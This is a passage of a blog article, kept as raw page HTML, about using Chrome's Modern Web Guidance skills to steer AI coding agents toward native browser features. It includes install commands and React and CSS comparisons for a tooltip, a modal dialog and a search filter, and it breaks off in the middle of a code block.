    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/chromes-modern-web-guidance-prevent-ai-coding-agents/#where-you-still-need-developer-judgment&quot;&gt;Where you still need developer judgment&lt;/a&gt;
        &lt;ul data-toc-name=&quot;where-you-still-need-developer-judgment&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/chromes-modern-web-guidance-prevent-ai-coding-agents/#conclusion&quot;&gt;Conclusion&lt;/a&gt;
        &lt;ul data-toc-name=&quot;conclusion&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/div&gt;
                &lt;div class=&quot;plug-gutter&quot;&gt;
    &lt;div class=&quot;plug-gutter--image&quot;&gt;
        &lt;img src=&quot;https://blog.logrocket.com/wp-content/uploads/2023/12/GalileoAIPreview.png&quot; alt=&quot;LogRocket Galileo logo&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
    &lt;/div&gt;
    &lt;div class=&quot;plug-gutter--top&quot;&gt;Introducing Galileo AI&lt;/div&gt;
    &lt;div class=&quot;plug-gutter--bottom&quot;&gt;LogRocket’s Galileo AI watches every session, surfacing impactful user struggle and key behavior patterns.&lt;/div&gt;
    &lt;div class=&quot;plug-gutter--cta&quot;&gt;
        &lt;a href=&quot;https://logrocket.com/products/galileo-ai&quot; class=&quot;plug-gutter--button&quot;&gt;LEARN MORE&lt;/a&gt;
    &lt;/div&gt;
&lt;/div&gt;


            &lt;/div&gt;
        &lt;/aside&gt;
        &lt;div id=&quot;the-content-container&quot;&gt;&lt;style&gt;
.plug-dev-top--card {
    border: 2px solid rgba(118, 74, 188, 0.2);
    border-radius: 8px;
    background-color: #491d90;
    justify-content: space-between;
    align-items: center;
    padding: 16px;
    font-family: &#39;Proxima Nova&#39;, sans-serif;
    display:flex;
    gap: 1rem;
    cursor: pointer;
}

.plug-dev-top--logo {
    width: 48px;
    height: 48px;
    border-radius: 50%;
}

.plug-dev-top--blurb {
    h2 {
        font-weight: 800;
        font-size: 22px;
        line-height: 22px;
        color: #fff;
        width: 70%;
        margin: 0 0 5px 0;
    }

    h3 {
        font-weight: 900;
        font-size: 13px;
        line-height: 13px;
        letter-spacing: 0.1em;
        color: #fff;
        opacity: 0.5;
        white-space: nowrap;
        margin: 0;
    }
}

.plug-dev-top--cta {
    background-color: #fff;
    color: #764abc;
    border: none;
    border-radius: 4px;
    padding: 10px;
    font-size: 16px;
    font-weight: 800;
    font-family: &#39;Proxima Nova&#39;, sans-serif;
    text-decoration: none;
    width: 25%;
    text-align: center;

    &amp;:hover {
        text-decoration: none;
        color: #a58ec8;
    }
}

.plug-dev-top--asset {
    position: relative;
    height: 400px;
    overflow: hidden;
    transition: all 0.3s ease;
    margin-top: 30px;

    &amp;.lr-hidden {
        height: 0;
        margin: 0;
    }
}
&lt;/style&gt;
&lt;div class=&quot;plug-dev-top&quot;&gt;
    &lt;div class=&quot;plug-dev-top--card&quot;&gt;
        &lt;img class=&quot;plug-dev-top--logo&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2023/04/logrocket-logo-1.png&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;div class=&quot;plug-dev-top--blurb&quot;&gt;
            &lt;h2&gt;See how LogRocket&#39;s Galileo AI surfaces the most severe issues for you&lt;/h2&gt;
            &lt;h3&gt;No signup required&lt;/h3&gt;
        &lt;/div&gt;
        &lt;div class=&quot;plug-dev-top--cta&quot;&gt;Check it out&lt;/div&gt;
    &lt;/div&gt;
    &lt;div class=&quot;plug-dev-top--asset lr-hidden&quot;&gt;
        &lt;div style=&quot;position: absolute; top: 0; left: 0; height: 100%; width: 100%&quot;&gt;
            &lt;iframe id=&quot;galileo-wistia-iframe&quot; src=&quot;https://fast.wistia.net/embed/iframe/x7kl3pp560?web_component=true&amp;amp;seo=true&quot; title=&quot;Galileo AI Overview - May 2025 Video&quot; allow=&quot;autoplay; fullscreen&quot; class=&quot;wistia_embed&quot; name=&quot;wistia_embed&quot; width=&quot;100%&quot; height=&quot;100%&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
            &lt;/iframe&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;



            
&lt;div class=&quot;lr-content&quot;&gt;
    &lt;!-- TEMP: .article-post is only used for adinserter to hook into --&gt;
    &lt;div class=&quot;article-post&quot;&gt;&lt;/div&gt;
    
&lt;p&gt;&lt;!-- ISSUES TO REVIEW --&gt;&lt;/p&gt;&lt;img fetchpriority=&quot;high&quot; decoding=&quot;async&quot; width=&quot;1536&quot; height=&quot;1024&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2026/07/featured-image-4.png&quot; class=&quot;attachment-full size-full wp-post-image&quot; alt=&quot;Using Chrome&#39;s Modern Web Guidance to prevent AI agents from writing legacy frontend code&quot; srcset=&quot;https://blog.logrocket.com/wp-content/uploads/2026/07/featured-image-4.png 1536w, https://blog.logrocket.com/wp-content/uploads/2026/07/featured-image-4-300x200.png 300w, https://blog.logrocket.com/wp-content/uploads/2026/07/featured-image-4-1024x683.png 1024w, https://blog.logrocket.com/wp-content/uploads/2026/07/featured-image-4-768x512.png 768w&quot; sizes=&quot;(max-width: 1536px) 100vw, 1536px&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
&lt;p&gt;AI coding agents are useful, but they have a familiar failure mode: They often solve modern frontend problems with legacy patterns.&lt;/p&gt;
&lt;p&gt;Ask an agent to build a modal, tooltip, responsive card layout, or long-running search interaction, and it may reach for extra JavaScript, older browser APIs, or another dependency. Sometimes that is the right tradeoff. But often, the browser can already solve the problem with native HTML, CSS, or platform APIs.&lt;/p&gt;
&lt;p&gt;That gap exists because the web platform changes faster than model training data. New features ship, syntax changes, browser support improves, and best practices evolve. A model may not know the feature exists, or it may know about the feature but use outdated syntax or recommend fallbacks your project does not need.&lt;/p&gt;
&lt;p&gt;Chrome’s &lt;a href=&quot;https://developer.chrome.com/docs/modern-web-guidance&quot;&gt;Modern Web Guidance&lt;/a&gt; is designed to close that gap. It is a set of agent skills from the Chrome team that embeds modern web platform guidance, browser compatibility data, and best practices directly into AI coding workflows. Instead of relying only on the model’s training data, your agent can retrieve relevant guidance before it writes code.&lt;/p&gt;
&lt;p&gt;In this article, we’ll set up Modern Web Guidance, configure a browser support target, and compare two generated task manager apps: one built with a standard AI coding agent and one built with Modern Web Guidance enabled. The goal is not to prove that native APIs are always better than libraries. It is to show how better guidance can help agents choose simpler, more current frontend solutions when the platform already supports them.&lt;/p&gt;
&lt;h2 id=&quot;prerequisites&quot;&gt;Prerequisites&lt;/h2&gt;
&lt;p&gt;To follow along, you’ll need:&lt;/p&gt;
&lt;ul&gt;
&lt;li style=&quot;list-style-type: none;&quot;&gt;
&lt;ul&gt;
&lt;li&gt;Node.js 18 or later&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li style=&quot;list-style-type: none;&quot;&gt;
&lt;ul&gt;
&lt;li&gt;A supported AI coding agent, such as Antigravity, Gemini CLI, Claude Code, Copilot CLI, or another tool that supports agent skills&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li style=&quot;list-style-type: none;&quot;&gt;
&lt;ul&gt;
&lt;li&gt;A frontend project to test against. This article uses a React/Next.js project, but the guidance itself is not React-specific&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;why-ai-coding-agents-ship-legacy-web-code&quot;&gt;Why AI coding agents ship legacy web code&lt;/h2&gt;
&lt;p&gt;Large language models have a basic limitation: Their knowledge has a cutoff date. Even when an agent can search or retrieve documentation, it may still default to familiar patterns from its training data unless the workflow explicitly tells it to check modern platform guidance.&lt;/p&gt;
&lt;p&gt;This creates two common failure modes:&lt;/p&gt;
&lt;ul&gt;
&lt;li style=&quot;list-style-type: none;&quot;&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The agent does not know a newer browser feature exists.&lt;/strong&gt; For example, it may install a tooltip library instead of considering CSS Anchor Positioning or the Popover API.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li style=&quot;list-style-type: none;&quot;&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The agent knows the feature exists, but uses the wrong syntax or support assumptions.&lt;/strong&gt; This can lead to broken attributes, incomplete fallbacks, or code that works only in a narrow browser target.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Legacy code has real costs. It can increase bundle size, add maintenance overhead, introduce more failure points, and make performance harder to reason about. Over time, those small choices accumulate into a frontend that is more complex than it needs to be.&lt;/p&gt;
&lt;p&gt;You might assume that retrieval-augmented generation (RAG) solves this. RAG can help, but it still pushes a lot of work onto the developer. You have to find the right documentation, keep it current, and make sure the model can reason over it correctly for each task.&lt;/p&gt;
&lt;p&gt;Modern Web Guidance takes a more structured approach. It packages expert-curated guidance into skills that an agent can discover and retrieve as part of its normal coding loop.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot;&gt;At a high level, it helps agents:&lt;/p&gt;
&lt;ul&gt;
&lt;li style=&quot;list-style-type: none;&quot;&gt;
&lt;ul&gt;
&lt;li&gt;Avoid outdated frontend patterns&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li style=&quot;list-style-type: none;&quot;&gt;
&lt;ul&gt;
&lt;li&gt;Prefer native HTML, CSS, and browser APIs when they are a good fit&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li style=&quot;list-style-type: none;&quot;&gt;
&lt;ul&gt;
&lt;li&gt;Apply accessibility and UI guidance more consistently&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li style=&quot;list-style-type: none;&quot;&gt;
&lt;ul&gt;
&lt;li&gt;Consider performance metrics such as Interaction to Next Paint (INP) and Largest Contentful Paint (LCP)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li style=&quot;list-style-type: none;&quot;&gt;
&lt;ul&gt;
&lt;li&gt;Follow security best practices around areas such as Content Security Policy (CSP), cookies, and cross-origin isolation&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li style=&quot;list-style-type: none;&quot;&gt;
&lt;ul&gt;
&lt;li&gt;Match recommendations to the project’s declared browser support target&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;what-modern-web-guidance-changes-in-practice&quot;&gt;What Modern Web Guidance changes in practice&lt;/h2&gt;
&lt;p&gt;Without Modern Web Guidance, an agent may treat a native browser feature as an edge case and solve the problem with a dependency. With Modern Web Guidance, the same agent is more likely to ask: “Can the platform do this already?”&lt;/p&gt;
&lt;p&gt;That difference matters because it changes the default decision path. The agent can still choose a library when browser support, product requirements, or team constraints make that the better option. But the library is no longer the automatic first answer.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot;&gt;Modern Web Guidance covers several areas of &lt;a href=&quot;https://blog.logrocket.com/frontend-wrapped-h1-2026-the-nine-biggest-storylines/&quot;&gt;frontend development&lt;/a&gt;:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Discipline&lt;/th&gt;
&lt;th&gt;What the agent can retrieve guidance on&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;User experience&lt;/td&gt;
&lt;td&gt;View Transitions, entry and exit animations, scroll-driven effects, and native interaction patterns&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CSS layout&lt;/td&gt;
&lt;td&gt;Container queries, &lt;code&gt;subgrid&lt;/code&gt;, anchor positioning, intrinsic sizing, and modern color spaces like &lt;code&gt;oklch&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Performance&lt;/td&gt;
&lt;td&gt;INP diagnostics, &lt;code&gt;scheduler.yield()&lt;/code&gt;, background task scheduling, and image/resource prioritization&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Forms and UI&lt;/td&gt;
&lt;td&gt;Native &lt;code&gt;&amp;lt;dialog&amp;gt;&lt;/code&gt;, the Popover API, form validation states, and accessible UI behavior&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Accessibility&lt;/td&gt;
&lt;td&gt;Focus management, semantic HTML, accessible errors, keyboard behavior, and ARIA usage&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Security and privacy&lt;/td&gt;
&lt;td&gt;CSP, cookies, cross-origin isolation, data minimization, and safer defaults&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Built-in AI&lt;/td&gt;
&lt;td&gt;On-device translation, summarization, and language detection APIs where available&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-top: 15px;&quot;&gt;Chrome’s documentation describes Modern Web Guidance as an early preview, so treat it as a fast-moving tool rather than a static reference. That makes the installation and update path important.&lt;/p&gt;
&lt;h2 id=&quot;setting-up-modern-web-guidance&quot;&gt;Setting up Modern Web Guidance&lt;/h2&gt;
&lt;p&gt;The recommended installation path is the &lt;code&gt;modern-web-guidance&lt;/code&gt; CLI, which installs the skill files and keeps them updated.&lt;/p&gt;
&lt;p&gt;Open your terminal and run:&lt;/p&gt;
&lt;pre class=&quot;language-bash hljs&quot;&gt;npx modern-web-guidance@latest install
&lt;/pre&gt;
&lt;p&gt;The installer guides you through setup and lets you choose where the skills should be available. Depending on your workflow, you can install the guidance globally or into a specific project.&lt;/p&gt;
&lt;p&gt;A project-level install is a good default when you want the guidance to travel with one codebase. A global install is useful if you want the same guidance available across multiple projects and agents on your machine.&lt;/p&gt;

&lt;h3 id=&quot;install-directly-into-specific-agent&quot;&gt;Install directly into a specific agent&lt;/h3&gt;
&lt;p&gt;You can also install Modern Web Guidance directly for specific coding agents.&lt;/p&gt;
&lt;p&gt;For Gemini CLI, run:&lt;/p&gt;
&lt;pre class=&quot;language-bash hljs&quot;&gt;gemini extensions install https://github.com/GoogleChrome/modern-web-guidance --auto-update
&lt;/pre&gt;
&lt;p&gt;For Antigravity CLI, run:&lt;/p&gt;
&lt;pre class=&quot;language-bash hljs&quot;&gt;agy plugin install https://github.com/GoogleChrome/modern-web-guidance
&lt;/pre&gt;
&lt;p&gt;For Claude Code, add the marketplace, install the plugin, and reload plugins:&lt;/p&gt;
&lt;pre class=&quot;language-bash hljs&quot;&gt;/plugin marketplace add GoogleChrome/modern-web-guidance
/plugin install modern-web-guidance@googlechrome
/reload-plugins
&lt;/pre&gt;
&lt;p&gt;For Copilot CLI, add the marketplace and install the plugin:&lt;/p&gt;
&lt;pre class=&quot;language-bash hljs&quot;&gt;/plugin marketplace add GoogleChrome/modern-web-guidance
/plugin install modern-web-guidance@googlechrome
&lt;/pre&gt;
&lt;p&gt;For GitHub CLI, run:&lt;/p&gt;
&lt;pre class=&quot;language-bash hljs&quot;&gt;gh skill install GoogleChrome/modern-web-guidance
&lt;/pre&gt;
&lt;p&gt;For Vercel Skills, run:&lt;/p&gt;
&lt;pre class=&quot;language-bash hljs&quot;&gt;npx skills add GoogleChrome/modern-web-guidance
&lt;/pre&gt;
&lt;p&gt;The exact install path depends on the agent, but the result is the same: Your coding agent gains access to a skill that can search and retrieve modern web platform guidance before implementing a task.&lt;/p&gt;
&lt;h2 id=&quot;verify-installation&quot;&gt;Verify the installation&lt;/h2&gt;
&lt;p&gt;After installation, confirm that the skill is available to your agent. Depending on your install method, you may see generated skill files in your project or user-level agent configuration directory.&lt;/p&gt;
&lt;p&gt;Modern Web Guidance also exposes CLI commands you can use to explore the guide library directly. For example, you can search for guidance on animating a dialog modal:&lt;/p&gt;
&lt;pre class=&quot;language-bash hljs&quot;&gt;npx modern-web-guidance@latest search &quot;animate a dialog modal backdrop&quot;
&lt;/pre&gt;
&lt;p&gt;Then retrieve a specific guide by ID:&lt;/p&gt;
&lt;pre class=&quot;language-bash hljs&quot;&gt;npx modern-web-guidance@latest retrieve &quot;animate-to-from-top-layer&quot;
&lt;/pre&gt;
&lt;p&gt;This is useful even before you wire the skill into an agent. It lets you inspect the guidance your agent will receive and verify that the relevant use cases exist for the feature you are building.&lt;/p&gt;
&lt;h2 id=&quot;set-baseline-target&quot;&gt;Set a Baseline target&lt;/h2&gt;
&lt;p&gt;Modern Web Guidance is most useful when it knows what browsers your project supports. Otherwise, it has to be conservative.&lt;/p&gt;
&lt;p&gt;By default, Modern Web Guidance targets Baseline Widely available. That means the agent will usually include progressive enhancement patterns, fallbacks, or conditional loading where a feature is not broadly supported.&lt;/p&gt;
&lt;p&gt;If your project targets a newer browser set, declare that explicitly in your agent instruction file, such as &lt;code&gt;AGENTS.md&lt;/code&gt;, &lt;code&gt;CLAUDE.md&lt;/code&gt;, or &lt;code&gt;.gemini/GEMINI.md&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;language-plaintext hljs&quot;&gt;This project&#39;s Baseline target is Baseline 2024.
&lt;/pre&gt;
&lt;p&gt;You can also add project-specific support context:&lt;/p&gt;
&lt;pre class=&quot;language-plaintext hljs&quot;&gt;# Browser support target

This project&#39;s Baseline target is Baseline 2024.
Prefer native browser APIs when they meet this target.
Use progressive enhancement for newer or limited-availability features.
&lt;/pre&gt;
&lt;p&gt;This helps the agent decide when it can use a modern feature directly and when it should include a fallback. For example, an internal dashboard locked to recent Chromium browsers can make different choices than a public consumer app that needs broad Safari and Firefox support.&lt;/p&gt;
&lt;p&gt;The important part is that the browser target becomes part of the agent’s context. Without it, the agent may either over-polyfill or use a feature too aggressively.&lt;/p&gt;
&lt;h2 id=&quot;testing-modern-web-guidance-sample-app&quot;&gt;Testing Modern Web Guidance in a sample app&lt;/h2&gt;
&lt;p&gt;To see what Modern Web Guidance changes in practice, I created two copies of the same initialized Next.js project:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;taskmanager1&lt;/code&gt;: Built without Modern Web Guidance&lt;/li&gt;
&lt;li&gt;&lt;code&gt;taskmanager2&lt;/code&gt;: Built with Modern Web Guidance enabled&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I used Gemini CLI with the same model settings in both environments and gave both agents the same prompt:&lt;/p&gt;
&lt;pre class=&quot;language-plaintext hljs&quot;&gt;Build a Task Manager app. It should have:

- A modal for adding tasks with smooth entrance and exit animations.
- Task cards that stack vertically in a sidebar but show full details in the main area.
- A search bar that filters 2,000 tasks without lagging the UI.
- A Help tooltip tethered to the Status icon that flips if it hits the viewport edge.
&lt;/pre&gt;
&lt;p&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2026/07/blog-image-6.png&quot; alt=&quot;Task Manager prompt entered in Gemini CLI terminal interface&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;The same prompt was run against two copies of the project: one without Modern Web Guidance and one with the skill enabled.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The most interesting difference was not just the final code. It was the agent’s decision process.&lt;/p&gt;
&lt;p&gt;Without Modern Web Guidance, the agent treated UI complexity as a signal to add libraries. With Modern Web Guidance installed, the agent added a research step to look for relevant browser-native patterns before implementing the feature.&lt;/p&gt;
&lt;p&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2026/07/blog-image-7.png&quot; alt=&quot;Modern Web Guidance agent research step showing retrieved platform guidance before implementation&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;With Modern Web Guidance enabled, the agent retrieved relevant platform guidance before choosing an implementation approach.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id=&quot;comparing-results&quot;&gt;Comparing the results&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot;&gt;Here is how the two builds differed:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Feature&lt;/th&gt;
&lt;th&gt;&lt;code&gt;taskmanager1&lt;/code&gt; without guidance&lt;/th&gt;
&lt;th&gt;&lt;code&gt;taskmanager2&lt;/code&gt; with guidance&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Modal animation&lt;/td&gt;
&lt;td&gt;Used a custom modal implementation with JavaScript state and transition timing&lt;/td&gt;
&lt;td&gt;Used native &lt;code&gt;&amp;lt;dialog&amp;gt;&lt;/code&gt; with modern CSS entry/exit animation patterns&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Task cards&lt;/td&gt;
&lt;td&gt;Used media queries, which made the layout dependent on viewport width&lt;/td&gt;
&lt;td&gt;Used CSS Container Queries, so cards adapted to the sidebar container&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Search filter&lt;/td&gt;
&lt;td&gt;Used React memoization and timer-based logic, but still relied on synchronous filtering&lt;/td&gt;
&lt;td&gt;Used &lt;code&gt;scheduler.yield()&lt;/code&gt; to break work into chunks and keep the UI responsive&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Help tooltip&lt;/td&gt;
&lt;td&gt;Used a floating UI dependency for positioning and edge flipping&lt;/td&gt;
&lt;td&gt;Used CSS Anchor Positioning where supported by the project target&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-top: 15px;&quot;&gt;The biggest change was dependency pressure. In &lt;code&gt;taskmanager1&lt;/code&gt;, the agent added extra JavaScript to solve UI interactions that the browser can increasingly handle on its own. In &lt;code&gt;taskmanager2&lt;/code&gt;, the agent used the Modern Web Guidance skill to identify native equivalents and avoid additional UI positioning and animation packages for these features.&lt;/p&gt;
&lt;p&gt;That does not mean every app should remove every UI dependency. Libraries still matter when you need broader browser support, mature accessibility abstractions, complex design-system behavior, or consistent cross-framework APIs. The point is that the agent made a more informed tradeoff.&lt;/p&gt;
&lt;h2 id=&quot;code-comparison-tooltip-positioning&quot;&gt;Code comparison: Tooltip positioning&lt;/h2&gt;
&lt;p&gt;The tooltip requirement asked for a Help tooltip tethered to the Status icon that flips when it reaches the viewport edge.&lt;/p&gt;
&lt;h3 id=&quot;without-modern-web-guidance&quot;&gt;Without Modern Web Guidance&lt;/h3&gt;
&lt;p&gt;The unguided agent installed a positioning library and wrote a hook-based component:&lt;/p&gt;
&lt;pre class=&quot;language-javascript hljs&quot;&gt;import { useFloating, flip, shift, offset } from &#39;@floating-ui/react&#39;;

export function StatusTooltip({ children }) {
  const { refs, floatingStyles } = useFloating({
    placement: &#39;top&#39;,
    middleware: [offset(10), flip(), shift()],
  });

  return (
    &amp;lt;&amp;gt;
      &amp;lt;div ref={refs.setReference} className=&quot;status-icon&quot;&amp;gt;i&amp;lt;/div&amp;gt;
      &amp;lt;div ref={refs.setFloating} style={floatingStyles} className=&quot;tooltip&quot;&amp;gt;
        {children}
      &amp;lt;/div&amp;gt;
    &amp;lt;/&amp;gt;
  );
}
&lt;/pre&gt;
&lt;p&gt;This is not inherently wrong. Floating UI is a strong option when you need robust positioning across browsers and complex interactions. But for a simple tooltip in a modern-browser target, it may be more than the feature requires.&lt;/p&gt;
&lt;h3 id=&quot;with-modern-web-guidance&quot;&gt;With Modern Web Guidance&lt;/h3&gt;
&lt;p&gt;The guided agent recognized CSS Anchor Positioning as a possible fit. A simplified version looks like this:&lt;/p&gt;
&lt;pre class=&quot;language-javascript hljs&quot;&gt;export function StatusTooltip({ children }) {
  return (
    &amp;lt;&amp;gt;
      &amp;lt;div className=&quot;status-icon&quot;&amp;gt;i&amp;lt;/div&amp;gt;
      &amp;lt;div className=&quot;tooltip&quot; role=&quot;tooltip&quot;&amp;gt;
        {children}
      &amp;lt;/div&amp;gt;
    &amp;lt;/&amp;gt;
  );
}
&lt;/pre&gt;
&lt;pre class=&quot;language-css hljs&quot;&gt;.status-icon {
  anchor-name: --status-icon;
}

.tooltip {
  position: absolute;
  position-anchor: --status-icon;
  position-area: top;
  position-try-fallbacks: flip-block;
  margin-bottom: 10px;
}
&lt;/pre&gt;
&lt;p&gt;The implementation moves positioning work out of JavaScript and into CSS. That makes the code smaller and easier to inspect. However, this is also where the Baseline target matters. If your app needs browsers that do not fully support CSS Anchor Positioning, you still need a progressive enhancement strategy or a library fallback.&lt;/p&gt;
&lt;h2 id=&quot;code-comparison-modal-animation&quot;&gt;Code comparison: Modal animation&lt;/h2&gt;
&lt;p&gt;The modal requirement asked for smooth entrance and exit animations. The two builds solved that at different layers of the stack.&lt;/p&gt;
&lt;h3 id=&quot;without-modern-web-guidance-1&quot;&gt;Without Modern Web Guidance&lt;/h3&gt;
&lt;p&gt;The unguided agent used &lt;code&gt;createPortal&lt;/code&gt;, a &lt;code&gt;shouldRender&lt;/code&gt; flag, and a &lt;code&gt;setTimeout&lt;/code&gt; to keep the modal mounted long enough for the exit animation to finish:&lt;/p&gt;
&lt;pre class=&quot;language-javascript hljs&quot;&gt;export const Modal = ({ isOpen, onClose, title, children }: ModalProps) =&amp;gt; {
  const [shouldRender, setShouldRender] = useState(isOpen);

  useEffect(() =&amp;gt; {
    if (isOpen) {
      setShouldRender(true);
      document.body.style.overflow = &#39;hidden&#39;;
    } else {
      const timer = setTimeout(() =&amp;gt; {
        setShouldRender(false);
        document.body.style.overflow = &#39;auto&#39;;
      }, 300);

      return () =&amp;gt; clearTimeout(timer);
    }
  }, [isOpen]);

  if (!shouldRender) return null;

  return createPortal(
    &amp;lt;div className={`${styles.overlay} ${isOpen ? styles.open : &#39;&#39;}`} onClick={onClose}&amp;gt;
      &amp;lt;div
        className={`${styles.modal} ${isOpen ? styles.open : &#39;&#39;}`}
        onClick={(event) =&amp;gt; event.stopPropagation()}
      &amp;gt;
        {children}
      &amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;,
    document.body
  );
};
&lt;/pre&gt;
&lt;p&gt;The fragile part is the &lt;code&gt;300&lt;/code&gt; millisecond timer. The JavaScript timeout and the CSS transition duration have to stay in sync manually. If someone changes the animation duration in CSS, the JavaScript can fall out of sync.&lt;/p&gt;
&lt;h3 id=&quot;with-modern-web-guidance-1&quot;&gt;With Modern Web Guidance&lt;/h3&gt;
&lt;p&gt;The guided version used the native &lt;code&gt;&amp;lt;dialog&amp;gt;&lt;/code&gt; element and let the browser handle top-layer behavior. In React, you still need a small amount of JavaScript to open and close the dialog, but you no longer need a custom render timer or portal layer:&lt;/p&gt;
&lt;pre class=&quot;language-javascript hljs&quot;&gt;import { useEffect, useRef } from &#39;react&#39;;

export function TaskModal({ open, onClose, children }: TaskModalProps) {
  const dialogRef = useRef&amp;lt;HTMLDialogElement&amp;gt;(null);

  useEffect(() =&amp;gt; {
    const dialog = dialogRef.current;
    if (!dialog) return;

    if (open &amp;amp;&amp;amp; !dialog.open) {
      dialog.showModal();
    }

    if (!open &amp;amp;&amp;amp; dialog.open) {
      dialog.close();
    }
  }, [open]);

  return (
    &amp;lt;dialog ref={dialogRef} onClose={onClose}&amp;gt;
      &amp;lt;form method=&quot;dialog&quot;&amp;gt;
        {children}
        &amp;lt;button type=&quot;submit&quot;&amp;gt;Create task&amp;lt;/button&amp;gt;
        &amp;lt;button type=&quot;button&quot; onClick={() =&amp;gt; dialogRef.current?.close()}&amp;gt;
          Cancel
        &amp;lt;/button&amp;gt;
      &amp;lt;/form&amp;gt;
    &amp;lt;/dialog&amp;gt;
  );
}
&lt;/pre&gt;
&lt;p&gt;Then &lt;a href=&quot;https://blog.logrocket.com/css-staggered-animations/&quot;&gt;CSS handles the entry and exit animation&lt;/a&gt;:&lt;/p&gt;
&lt;pre class=&quot;language-css hljs&quot;&gt;dialog {
  opacity: 0;
  transform: scale(0.96);
  transition:
    display 0.4s,
    overlay 0.4s,
    opacity 0.4s ease,
    transform 0.4s ease;
  transition-behavior: allow-discrete;
}

dialog[open] {
  opacity: 1;
  transform: scale(1);
}

@starting-style {
  dialog[open] {
    opacity: 0;
    transform: scale(0.96);
  }
}

dialog::backdrop {
  background: rgb(0 0 0 / 40%);
}
&lt;/pre&gt;
&lt;p&gt;There is no render timeout to maintain. The browser’s top layer handles important modal behavior, including focus handling and backdrop rendering. You should still test keyboard behavior, focus return, and screen reader output, but the implementation starts from a stronger native primitive.&lt;/p&gt;
&lt;h2 id=&quot;code-comparison-search-performance&quot;&gt;Code comparison: Search performance&lt;/h2&gt;
&lt;p&gt;The prompt asked for a search bar that filters 2,000 tasks without lagging the UI. This is an INP problem: if a synchronous loop blocks the main thread, the browser cannot respond to input or paint the next frame until the work finishes.&lt;/p&gt;
&lt;h3 id=&quot;without-modern-web-guidance-2&quot;&gt;Without Modern Web Guidance&lt;/h3&gt;
&lt;p&gt;The unguided agent wrapped the filter in &lt;code&gt;useMemo&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;language-javascript hljs&quot;&gt;const filteredTasks = useMemo(() =&amp;gt; {
